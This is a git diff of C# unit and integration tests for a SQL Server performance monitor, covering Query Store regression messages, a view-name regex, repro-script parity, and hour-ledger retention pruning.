+    /// table is raw, so its coverage starts at its oldest row), the note names the table and ends with the baseline sentence.
+    /// </summary>
+    [Fact]
+    public async Task ARegression_WhoseBaselineStartsInsideTheRange_SaysWhereTheDataStarts_AgainstDevPostgres()
+    {
+        await WithServerAsync(async (connection, postgres, baseNow, ct) =>
+        {
+            await SeedAsync(connection, ct, baseNow.AddHours(-40), 90, avgDurationUs: 1000, avgCpuUs: 1000, intervalId: 3, queryId: 7);
+            await SeedAsync(connection, ct, baseNow.AddMinutes(-30), 200, avgDurationUs: 4000, avgCpuUs: 4000, intervalId: 4, queryId: 7);
+
+            var hit = Root(await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName, 24));
+
+            Assert.Equal(1, hit.GetProperty("regression_count").GetInt32());
+            Assert.True(hit.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(baseNow.AddHours(-40)), hit.GetProperty("effective_start").GetString());
+            Assert.NotEqual(hit.GetProperty("baseline_start").GetString(), hit.GetProperty("effective_start").GetString());
+            var note = hit.GetProperty("truncation_note").GetString()!;
+            Assert.Contains("raw query_store_stats retains", note, StringComparison.Ordinal);
+            Assert.EndsWith(BaselineTail, note, StringComparison.Ordinal);
+            Assert.False(hit.TryGetProperty("effective_hours_back", out _));
+
+            var names = hit.EnumerateObject().Select(p => p.Name).ToList();
+            Assert.Equal(["effective_start", "window_truncated", "truncation_note"], names.Skip(names.IndexOf("hours_back") + 1).Take(3));
+        });
+    }
+
+    /// <summary>
+    /// #4966: a quiet start. The store holds a row from before the baseline begins (nine days back, for a baseline that
+    /// starts eight days back), so the baseline is covered whenever the rows inside it begin: false, no note, and
+    /// <c>effective_start</c> is exactly <c>baseline_start</c>.
+    /// </summary>
+    [Fact]
+    public async Task ARegression_WhoseTableReachesBeforeTheBaseline_SaysNothing_AgainstDevPostgres()
+    {
+        await WithServerAsync(async (connection, postgres, baseNow, ct) =>
+        {
+            await SeedAsync(connection, ct, baseNow.AddDays(-9), 10, avgDurationUs: 1000, avgCpuUs: 1000, intervalId: 2, queryId: 9);
+            await SeedAsync(connection, ct, baseNow.AddHours(-40), 90, avgDurationUs: 1000, avgCpuUs: 1000, intervalId: 3, queryId: 7);
+            await SeedAsync(connection, ct, baseNow.AddMinutes(-30), 200, avgDurationUs: 4000, avgCpuUs: 4000, intervalId: 4, queryId: 7);
+
+            var hit = Root(await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName, 24));
+
+            Assert.Equal(1, hit.GetProperty("regression_count").GetInt32());
+            Assert.False(hit.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(JsonValueKind.Null, hit.GetProperty("truncation_note").ValueKind);
+            Assert.Equal(hit.GetProperty("baseline_start").GetString(), hit.GetProperty("effective_start").GetString());
+        });
+    }
+
+    /// <summary>
+    /// #4966: a failed data-start probe costs the notice, never the answer. The regression rows come back with the three keys
+    /// absent, and an empty answer carries no hints.
+    /// </summary>
+    [Fact]
+    public async Task AFailedProbe_CostsTheNotice_NeverTheRows_AgainstDevPostgres()
+    {
+        await WithServerAsync(async (connection, postgres, baseNow, ct) =>
+        {
+            await SeedAsync(connection, ct, baseNow.AddHours(-40), 90, avgDurationUs: 1000, avgCpuUs: 1000, intervalId: 3, queryId: 7);
+            await SeedAsync(connection, ct, baseNow.AddMinutes(-30), 200, avgDurationUs: 4000, avgCpuUs: 4000, intervalId: 4, queryId: 7);
+
+            var bodySucceeded = false;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => throw new TimeoutException("the probe's deadline passed");
+            try
+            {
+                var hit = Root(await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName, 24));
+
+                Assert.False(hit.TryGetProperty("status", out _));
+                Assert.False(hit.TryGetProperty("error", out _));
+                Assert.Equal(1, hit.GetProperty("regression_count").GetInt32());
+                Assert.False(hit.TryGetProperty("effective_start", out _));
+                Assert.False(hit.TryGetProperty("window_truncated", out _));
+                Assert.False(hit.TryGetProperty("truncation_note", out _));
+
+                /* Take the recent row away: the recent side is missing, so the answer is empty. */
+                await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM query_store_stats WHERE server_id = $1 AND collection_time > $2", ServerId, DarlingMcpTestData.Naive(baseNow.AddHours(-2)));
+
+                var empty = Root(await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName, 2));
+                Assert.Equal("empty", empty.GetProperty("status").GetString());
+                Assert.False(empty.TryGetProperty("hints", out _));
+                bodySucceeded = true;
+            }
+            finally
+            {
+                await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () =>
+                {
+                    DarlingMcpWindowNotice.TestOnlyProbe = null;
+                    return Task.CompletedTask;
+                });
+            }
+        });
+    }
+
+    /// <summary>
+    /// #4966: every <c>empty</c> answer carries the three keys under <c>hints</c>, the all-clear included (a clean comparison
+    /// over a baseline the store only partly holds is not a true negative), and every <c>unavailable</c> answer carries none.
+    /// </summary>
+    [Fact]
+    public async Task TheEmptyAnswers_CarryTheDataStartHints_AndTheUnavailableOnesStayBare_AgainstDevPostgres()
+    {
+        await WithServerAsync(async (connection, postgres, baseNow, ct) =>
+        {
+            var never = Root(await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName));
+            Assert.Equal("unavailable", never.GetProperty("status").GetString());
+            Assert.False(never.TryGetProperty("hints", out _));
+
+            await SeedAsync(connection, ct, baseNow.AddHours(-40), 100, avgDurationUs: 1000, avgCpuUs: 1000, intervalId: 2);
+
+            /* Nothing in the last two hours: the recent side is missing. The baseline still starts 40 hours back, inside it. */
+            var noRecent = Root(await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName, 2));
+            Assert.Equal("empty", noRecent.GetProperty("status").GetString());
+            var noRecentHints = noRecent.GetProperty("hints");
+            Assert.True(noRecentHints.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(baseNow.AddHours(-40)), noRecentHints.GetProperty("effective_start").GetString());
+            Assert.EndsWith(BaselineTail, noRecentHints.GetProperty("truncation_note").GetString()!, StringComparison.Ordinal);
+
+            await SeedAsync(connection, ct, baseNow.AddMinutes(-30), 100, avgDurationUs: 1000, avgCpuUs: 1000, intervalId: 1);
+
+            var clear = Root(await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName, 24));
+            Assert.Equal("empty", clear.GetProperty("status").GetString());
+            AssertCutAllClear(clear, clear.GetProperty("message").GetString()!);
+            var clearHints = clear.GetProperty("hints");
+            Assert.True(clearHints.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(baseNow.AddHours(-40)), clearHints.GetProperty("effective_start").GetString());
+
+            /* No baseline: the whole history sits inside the window. The unavailable answer stays bare. */
+            var noBaseline = Root(await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName, 48));
+            Assert.Equal("unavailable", noBaseline.GetProperty("status").GetString());
+            Assert.False(noBaseline.TryGetProperty("hints", out _));
+        });
+    }
+
+    /// <summary>
+    /// #5015: a database_name filter that matches nothing in the baseline or the window says the filter matched nothing, not
+    /// "this IS the all-clear" (the server-wide probe saw both sides collected). A filter that matches, and finds nothing
+    /// wrong, is still the all-clear.
+    /// </summary>
+    [Fact]
+    public async Task AFilteredMiss_SaysTheFilterMatchedNothing_NotTheAllClear_AgainstDevPostgres()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live regressions test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var baseNow = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            await SeedAsync(connection, ct, baseNow.AddHours(-40), 100, avgDurationUs: 1000, avgCpuUs: 1000, intervalId: 2);
+            await SeedAsync(connection, ct, baseNow.AddMinutes(-30), 100, avgDurationUs: 1000, avgCpuUs: 1000, intervalId: 1);
+
+            var miss = Root(await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName, 24, "NoSuchDb"));
+            Assert.Equal("empty", miss.GetProperty("status").GetString());
+            var missText = miss.GetProperty("message").GetString()!;
+            Assert.Contains("database_name 'NoSuchDb'", missText, StringComparison.Ordinal);
+            Assert.Contains("the filter matched nothing and this is NOT the all-clear", missText, StringComparison.Ordinal);
+            Assert.DoesNotContain("this IS the all-clear", missText, StringComparison.Ordinal);
+
+            var match = Root(await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName, 24, Db));
+            /* #4966: this fixture's baseline is cut (40 hours of the seven days), so the matching filter's nothing is the cut sentence. */
+            AssertCutAllClear(match, match.GetProperty("message").GetString()!);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// #5015: a filter whose database has captures in the baseline and none in the window is a missing recent side FOR THAT
+    /// DATABASE, not the all-clear: the server-wide probe saw both sides (another database wrote the window), and no query of
+    /// the filtered database was compared. It words the server-wide "nothing collected IN the last N hour(s)" answer,
+    /// naming the database.
+    /// </summary>
+    [Fact]
+    public async Task AFilteredDatabase_WithBaselineCapturesOnly_SaysItsWindowIsMissing_NotTheAllClear_AgainstDevPostgres()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live regressions test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var baseNow = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            await SeedAsync(connection, ct, baseNow.AddHours(-40), 100, avgDurationUs: 1000, avgCpuUs: 1000, intervalId: 2);
+            await SeedAsync(connection, ct, baseNow.AddMinutes(-30), 100, avgDurationUs: 1000, avgCpuUs: 1000, intervalId: 1, queryId: 2, database: OtherDb);
+
+            var noRecent = Root(await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName, 24, Db));
+            Assert.Equal("empty", noRecent.GetProperty("status").GetString());
+            var noRecentText = noRecent.GetProperty("message").GetString()!;
+            Assert.Contains("database_name 'AppDb'", noRecentText, StringComparison.Ordinal);
+            Assert.Contains("nothing of it collected IN the last 24 hour(s)", noRecentText, StringComparison.Ordinal);
+            Assert.Contains("NOT the all-clear", noRecentText, StringComparison.Ordinal);
+            Assert.DoesNotContain("this IS the all-clear", noRecentText, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// #5015: a filter whose database has captures in the window and none in the baseline has nothing to compare against FOR
+    /// THAT DATABASE: <c>unavailable</c>, worded like the server-wide no-baseline answer and naming the database, not the
+    /// all-clear.
+    /// </summary>
+    [Fact]
+    public async Task AFilteredDatabase_WithWindowCapturesOnly_SaysItHasNoBaseline_NotTheAllClear_AgainstDevPostgres()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live regressions test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var baseNow = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            await SeedAsync(connection, ct, baseNow.AddHours(-40), 100, avgDurationUs: 1000, avgCpuUs: 1000, intervalId: 2, queryId: 2, database: OtherDb);
+            await SeedAsync(connection, ct, baseNow.AddMinutes(-30), 100, avgDurationUs: 3000, avgCpuUs: 3000, intervalId: 1);
+
+            var noBaseline = Root(await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName, 24, Db));
+            Assert.Equal("unavailable", noBaseline.GetProperty("status").GetString());
+            var noBaselineText = noBaseline.GetProperty("message").GetString()!;
+            Assert.Contains("database_name 'AppDb'", noBaselineText, StringComparison.Ordinal);
+            Assert.Contains("no baseline", noBaselineText, StringComparison.Ordinal);
+            Assert.Contains("NOT a clean bill of health", noBaselineText, StringComparison.Ordinal);
+            Assert.DoesNotContain("this IS the all-clear", noBaselineText, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// #4966: the same all-clear over a baseline the store covers in full (a capture older than the seven-day lookback) keeps
+    /// its "this IS the all-clear" sentence, and its hints say the window is not cut.
+    /// </summary>
+    [Fact]
+    public async Task TheAllClear_OverACoveredBaseline_KeepsItsSentence_AgainstDevPostgres()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live regressions test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var baseNow = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            await SeedAsync(connection, ct, baseNow.AddDays(-9), 100, avgDurationUs: 1000, avgCpuUs: 1000, intervalId: 3);
+            await SeedAsync(connection, ct, baseNow.AddDays(-3), 100, avgDurationUs: 1000, avgCpuUs: 1000, intervalId: 2);
+            await SeedAsync(connection, ct, baseNow.AddMinutes(-30), 100, avgDurationUs: 1000, avgCpuUs: 1000, intervalId: 1);
+
+            var clear = Root(await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName, 24));
+            Assert.Equal("empty", clear.GetProperty("status").GetString());
+            Assert.False(clear.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
+            Assert.Contains("this IS the all-clear", clear.GetProperty("message").GetString()!, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// #4966: the all-clear over a cut baseline keeps its factual first sentence (the 25% threshold included) and swaps only the
+    /// claim for the cut sentence its hints select: the one that points at <c>effective_start</c> when the notice names one.
+    /// </summary>
+    private static void AssertCutAllClear(JsonElement answer, string message)
+    {
+        Assert.True(answer.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
+        Assert.StartsWith("No query on ", message, StringComparison.Ordinal);
+        Assert.Contains("more than 25% worse than its baseline", message, StringComparison.Ordinal);
+        /* Every fixture here has a baseline that starts 40 hours back, so the notice names a start: the CutWindowNothingMessage variant. */
+        Assert.NotEqual(System.Text.Json.JsonValueKind.Null, answer.GetProperty("hints").GetProperty("effective_start").ValueKind);
+        Assert.EndsWith(". " + McpHelpers.CutWindowNothingMessage, message, StringComparison.Ordinal);
+        Assert.DoesNotContain("this IS the all-clear", message, StringComparison.Ordinal);
+    }
+
     private static JsonElement Root(string json) => JsonDocument.Parse(json).RootElement;
 
+    /// <summary>One Query Store interval of a query in <paramref name="database"/> (<see cref="Db"/> unless a test needs a second database to filter on).</summary>
     private static async Task SeedAsync(
         NpgsqlConnection connection, CancellationToken ct, DateTime collectionTime, long executions,
-        long avgDurationUs, long avgCpuUs, long intervalId, long queryId = 1) =>
+        long avgDurationUs, long avgCpuUs, long intervalId, long queryId = 1, string database = Db) =>
         await DarlingMcpTestData.ExecAsync(connection, ct, @"
 INSERT INTO query_store_stats
     (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id,
@@ -392,7 +771,7 @@ INSERT INTO query_store_stats
      runtime_stats_interval_id, query_text, last_execution_time)
 VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15)",
             CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(collectionTime), ServerId, ServerName,
-            Db, queryId, 9L, "Regular", executions, avgDurationUs, avgCpuUs, 100L, intervalId,
+            database, queryId, 9L, "Regular", executions, avgDurationUs, avgCpuUs, 100L, intervalId,
             "SELECT * FROM dbo.Widgets", DarlingMcpTestData.Naive(collectionTime));
 
     private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
diff --git a/Darling/Darling.Tests/DarlingReadsUseOnlyStoreViewsTests.cs b/Darling/Darling.Tests/DarlingReadsUseOnlyStoreViewsTests.cs
index 784d723626..dbed458e23 100644
--- a/Darling/Darling.Tests/DarlingReadsUseOnlyStoreViewsTests.cs
+++ b/Darling/Darling.Tests/DarlingReadsUseOnlyStoreViewsTests.cs
@@ -30,7 +30,21 @@ public sealed class DarlingReadsUseOnlyStoreViewsTests
 {
     private static readonly Regex BlockComment = new(@"/\*.*?\*/", RegexOptions.Singleline | RegexOptions.Compiled);
     private static readonly Regex LineComment = new(@"//[^\r\n]*", RegexOptions.Compiled);
-    private static readonly Regex ViewTarget = new(@"\b(?:FROM|JOIN)\s+(v_[a-z0-9_]+)", RegexOptions.IgnoreCase | RegexOptions.Compiled);
+    /// <summary>A <c>FROM</c> or <c>JOIN</c> followed by a <c>v_</c> name. A <c>FROM</c> that follows <c>DISTINCT</c> is the comparison
+    /// operator in <c>IS [NOT] DISTINCT FROM v_old_x</c> (a variable named <c>v_old_x</c>, not a table source), so the lookbehind skips it (#5240).</summary>
+    private static readonly Regex ViewTarget = new(@"(?<!\bDISTINCT\s+)\b(?:FROM|JOIN)\s+(v_[a-z0-9_]+)", RegexOptions.IgnoreCase | RegexOptions.Compiled);
+
+    [Theory]
+    [InlineData("WHERE a IS DISTINCT FROM v_x", false)]
+    [InlineData("WHERE a IS NOT DISTINCT FROM v_x", false)]
+    [InlineData("WHERE a IS DISTINCT   FROM v_x", false)]
+    [InlineData("SELECT 1 FROM v_bogus", true)]
+    [InlineData("SELECT 1 FROM t JOIN v_bogus ON 1 = 1", true)]
+    [InlineData("SELECT 1 WHERE a IS DISTINCT FROM v_x AND EXISTS (SELECT 1 FROM v_bogus)", true)]
+    public void ViewTargetPattern_SkipsIsDistinctFrom_ButStillFlagsRealFromAndJoinTargets(string sql, bool flagged)
+    {
+        Assert.Equal(flagged, ViewTarget.IsMatch(sql));
+    }
 
     [Fact]
     public void EveryViewNamedAsAFromOrJoinTarget_InTheServiceViewerAnalysisAndStorageSql_IsOneTheStoreCreates()
diff --git a/Darling/Darling.Tests/DarlingReproScriptParityTests.cs b/Darling/Darling.Tests/DarlingReproScriptParityTests.cs
new file mode 100644
index 0000000000..55c7f5b50a
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingReproScriptParityTests.cs
@@ -0,0 +1,127 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.PlanAnalysis;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5233: the web repro script is the Darling Viewer's repro script. For each kind that keeps query text,
+/// <see cref="DarlingReproScript.Build"/> must produce byte-for-byte what
+/// <c>ViewerServerTab.BuildReproScriptForRow</c> produces from the same stored fields, so the two seats cannot drift.
+/// </summary>
+public sealed class DarlingReproScriptParityTests
+{
+    private const string Text = "SELECT o.OrderId FROM dbo.Orders AS o WHERE o.CustomerId = @CustomerId;";
+    private const string Plan =
+        "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\" Version=\"1.539\"><BatchSequence><Batch><Statements>" +
+        "<StmtSimple StatementText=\"SELECT 1\" StatementId=\"1\"><QueryPlan><ParameterList>" +
+        "<ColumnReference Column=\"@CustomerId\" ParameterDataType=\"int\" ParameterCompiledValue=\"(42)\" />" +
+        "</ParameterList></QueryPlan></StmtSimple></Statements></Batch></BatchSequence></ShowPlanXML>";
+
+    /// <summary>The builder stamps "Generated: {DateTime.UtcNow} UTC" in the header; drop that line so a second tick between two builds cannot fail a byte comparison.</summary>
+    private static string? NoClock(string? s) =>
+        s is null ? null : System.Text.RegularExpressions.Regex.Replace(s, @"^.*Generated:.*$", "", System.Text.RegularExpressions.RegexOptions.Multiline);
+
+    [Theory]
+    [InlineData(Plan)]
+    [InlineData(null)]
+    public void QueryStats_MatchesTheViewer(string? plan)
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "ViewerServerTab is a WPF type; the Mac cannot load it. The builder-argument pins below run everywhere.");
+        RunQueryStatsParity(plan);
+    }
+
+    private static void RunQueryStatsParity(string? plan)
+    {
+        var viewer = ViewerServerTab.BuildReproScriptForRow(
+            new ViewerQueryStatsRow { QueryText = Text, DatabaseName = "Orders", QueryHash = "0xAB" }, plan, DarlingReproScript.ProductName);
+        Assert.NotNull(viewer);
+        Assert.Equal(NoClock(viewer), NoClock(DarlingReproScript.Build("query_hash", Text, "Orders", plan, "READ COMMITTED")));
+    }
+
+    [Theory]
+    [InlineData(Plan)]
+    [InlineData(null)]
+    public void QueryStore_MatchesTheViewer(string? plan)
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "ViewerServerTab is a WPF type; the Mac cannot load it. The builder-argument pins below run everywhere.");
+        RunQueryStoreParity(plan);
+    }
+
+    private static void RunQueryStoreParity(string? plan)
+    {
+        var viewer = ViewerServerTab.BuildReproScriptForRow(
+            new ViewerQueryStoreRow { QueryText = Text, DatabaseName = "Orders", QueryId = 42, PlanId = 7 }, plan, DarlingReproScript.ProductName);
+        Assert.NotNull(viewer);
+        Assert.Equal(NoClock(viewer), NoClock(DarlingReproScript.Build("query_store", Text, "Orders", plan, "READ COMMITTED")));
+    }
+
+    [Theory]
+    [InlineData(Plan, "SERIALIZABLE")]
+    [InlineData(null, "READ COMMITTED")]
+    public void ActiveSnapshot_MatchesTheViewer_AndKeepsItsIsolationLevel(string? plan, string isolation)
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "ViewerServerTab is a WPF type; the Mac cannot load it. The builder-argument pins below run everywhere.");
+        RunActiveSnapshotParity(plan, isolation);
+    }
+
+    private static void RunActiveSnapshotParity(string? plan, string isolation)
+    {
+        var viewer = ViewerServerTab.BuildReproScriptForRow(
+            new ViewerQuerySnapshotRow { QueryText = Text, DatabaseName = "Orders", TransactionIsolationLevel = isolation }, plan, DarlingReproScript.ProductName);
+        Assert.NotNull(viewer);
+        var web = DarlingReproScript.Build("active_snapshot", Text, "Orders", plan, isolation);
+        Assert.Equal(NoClock(viewer), NoClock(web));
+        Assert.Contains("SET TRANSACTION ISOLATION LEVEL", web, StringComparison.Ordinal);
+    }
+
+    /* The same arguments, straight into the shared builder: runs on every platform, so the mapping (source label,
+       isolation only for Active Queries, product name, no Azure flag) is pinned even where the Viewer cannot load. */
+    [Theory]
+    [InlineData("query_hash", "Top Queries (dm_exec_query_stats)", false)]
+    [InlineData("query_store", "Query Store", false)]
+    [InlineData("active_snapshot", "Active Queries", true)]
+    public void EachKind_PassesTheViewersArgumentsToTheSharedBuilder(string kind, string source, bool carriesIsolation)
+    {
+        var expected = ReproScriptBuilder.BuildReproScript(
+            Text, "Orders", Plan, carriesIsolation ? "SERIALIZABLE" : null, source, productName: DarlingReproScript.ProductName);
+        Assert.Equal(NoClock(expected), NoClock(DarlingReproScript.Build(kind, Text, "Orders", Plan, "SERIALIZABLE")));
+        Assert.Contains(source, expected, StringComparison.Ordinal);
+        Assert.Equal(carriesIsolation, expected.Contains("SET TRANSACTION ISOLATION LEVEL", StringComparison.Ordinal));
+    }
+
+    [Theory]
+    [InlineData("query_hash")]
+    [InlineData("query_store")]
+    [InlineData("active_snapshot")]
+    public void NoQueryText_BuildsNoScript(string kind)
+    {
+        Assert.Null(DarlingReproScript.Build(kind, null, "Orders", Plan, null));
+        Assert.Null(DarlingReproScript.Build(kind, "", "Orders", Plan, null));
+    }
+
+    [Fact]
+    public void AProcedure_BuildsNoScript() =>
+        Assert.Null(DarlingReproScript.Build("procedure", Text, "Orders", Plan, null));
+
+    [Fact]
+    public void TheQueryStoreText_IsReadFromTheCollectorTable_BeforeTheInlineFactColumn()
+    {
+        var sql = DarlingReproScript.QueryStoreTextSql;
+        Assert.True(
+            sql.IndexOf("query_store_text", StringComparison.Ordinal) is var first and >= 0
+            && first < sql.IndexOf("query_store_stats", StringComparison.Ordinal),
+            "query_store_text must be consulted before the inline query_store_stats.query_text");
+        Assert.Contains("COALESCE", sql, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingRetentionTests.cs b/Darling/Darling.Tests/DarlingRetentionTests.cs
index 3e59c723d8..64fc7c7dcb 100644
--- a/Darling/Darling.Tests/DarlingRetentionTests.cs
+++ b/Darling/Darling.Tests/DarlingRetentionTests.cs
@@ -118,6 +118,49 @@ public void AlertHistoryRetention_IsNinetyDays_AndBatchesOnAlertTime()
             DarlingRetention.TimeSlicedDeleteSql("config_alert_log", "alert_time"));
     }
 
+    /// <summary>
+    /// #4605: the hour ledger is pruned at the horizon of the SUCCESSOR HOURLY ROLLUP the count guard compares it with,
+    /// derived from <see cref="TimescaleSupport.HourlyRetentionSpan"/>, never raw's four days and never a copied number.
+    /// A ledger pruned at raw's horizon would lack the hours the rollup still holds, and the guard would fail every window
+    /// past four days. The prune is one unsliced DELETE, so it dispatches single-shot. RED on the revision before the
+    /// prune existed (no <c>PruneSql</c> and no call), and on a call wired to raw's span.
+    /// </summary>
+    [Fact]
+    public void HourLedgerPrune_UsesTheSuccessorHourlyRollupsHorizon_NotRaws_AndDispatchesSingleShot()
+    {
+        /* The horizon the prune uses IS the successor hourly's own retention policy: if that policy moves to another
+           tier, this fails and the ledger's horizon is revisited with it. */
+        var policy = TimescaleSupport.RetentionPolicies.Single(p => p.Relation == TimescaleSupport.QueryStatsIntervalHourlyView);
+        Assert.Equal(TimescaleSupport.HourlyRetentionInterval, policy.DropAfter);
+        Assert.Equal(TimeSpan.FromDays(90), TimescaleSupport.HourlyRetentionSpan);
+        Assert.True(TimescaleSupport.HourlyRetentionSpan > TimescaleSupport.RawRetentionSpan,
+            "the rollup outlives raw, which is why the ledger cannot be pruned at raw's horizon");
+
+        Assert.Equal(
+            "DELETE FROM collect.query_stats_hour_ledger\r\nWHERE bucket < date_trunc('hour', $1::timestamp);".Replace("\r\n", "\n", StringComparison.Ordinal),
+            QueryStatsHourLedger.PruneSql.Trim().Replace("\r\n", "\n", StringComparison.Ordinal));
+
+        var source = ReadRetentionSource().Replace("\r\n", "\n", StringComparison.Ordinal);
+        var start = source.IndexOf("var hourLedgerDeleted = await PurgeOneAsync(", StringComparison.Ordinal);
+        Assert.True(start >= 0, "the hour ledger's prune call moved or went missing (#4605)");
+        var end = source.IndexOf("pacer: walPacer);", start, StringComparison.Ordinal);
+        Assert.True(end > start, "the hour ledger's prune call is malformed (#4605)");
+        var call = source[start..end];
+
+        Assert.Contains("QueryStatsHourLedger.LedgerTable", call, StringComparison.Ordinal);
+        Assert.Contains("QueryStatsHourLedger.PruneSql", call, StringComparison.Ordinal);
+        Assert.Contains("utcNow - TimescaleSupport.HourlyRetentionSpan", call, StringComparison.Ordinal);
+        Assert.Contains("batchSize: SingleShotStatement", call, StringComparison.Ordinal);
+        Assert.DoesNotContain("RawRetention", call, StringComparison.Ordinal);
+        Assert.DoesNotContain("retentionDays", call, StringComparison.Ordinal);
+
+        /* Outside every timescaleAvailable branch: the ledger is a plain table and a plain-PostgreSQL store needs it
+           bounded too. The statement sits at the sweep's top nesting, after the per-collector loop. */
+        Assert.True(
+            start > source.IndexOf("foreach (var definition in CollectorCatalog.All)", StringComparison.Ordinal),
+            "the ledger prune belongs to the sibling steps after the per-collector loop");
+    }
+
     [Fact]
     public void CommandHistoryRetention_IsTheBaseWindow_AndPurgesOnlyTerminalRows()
     {
@@ -315,6 +358,7 @@ public async Task RunPlanDimBatch_RetriesACommandTimeout_AtHalfTheCap()
             },
             cap: 25_000,
             floorCap: 1_000,
+            tableName: "query_plan_dim",
             CancellationToken.None);
 
         Assert.Equal(new[] { 25_000, 12_500 }, attemptCaps);
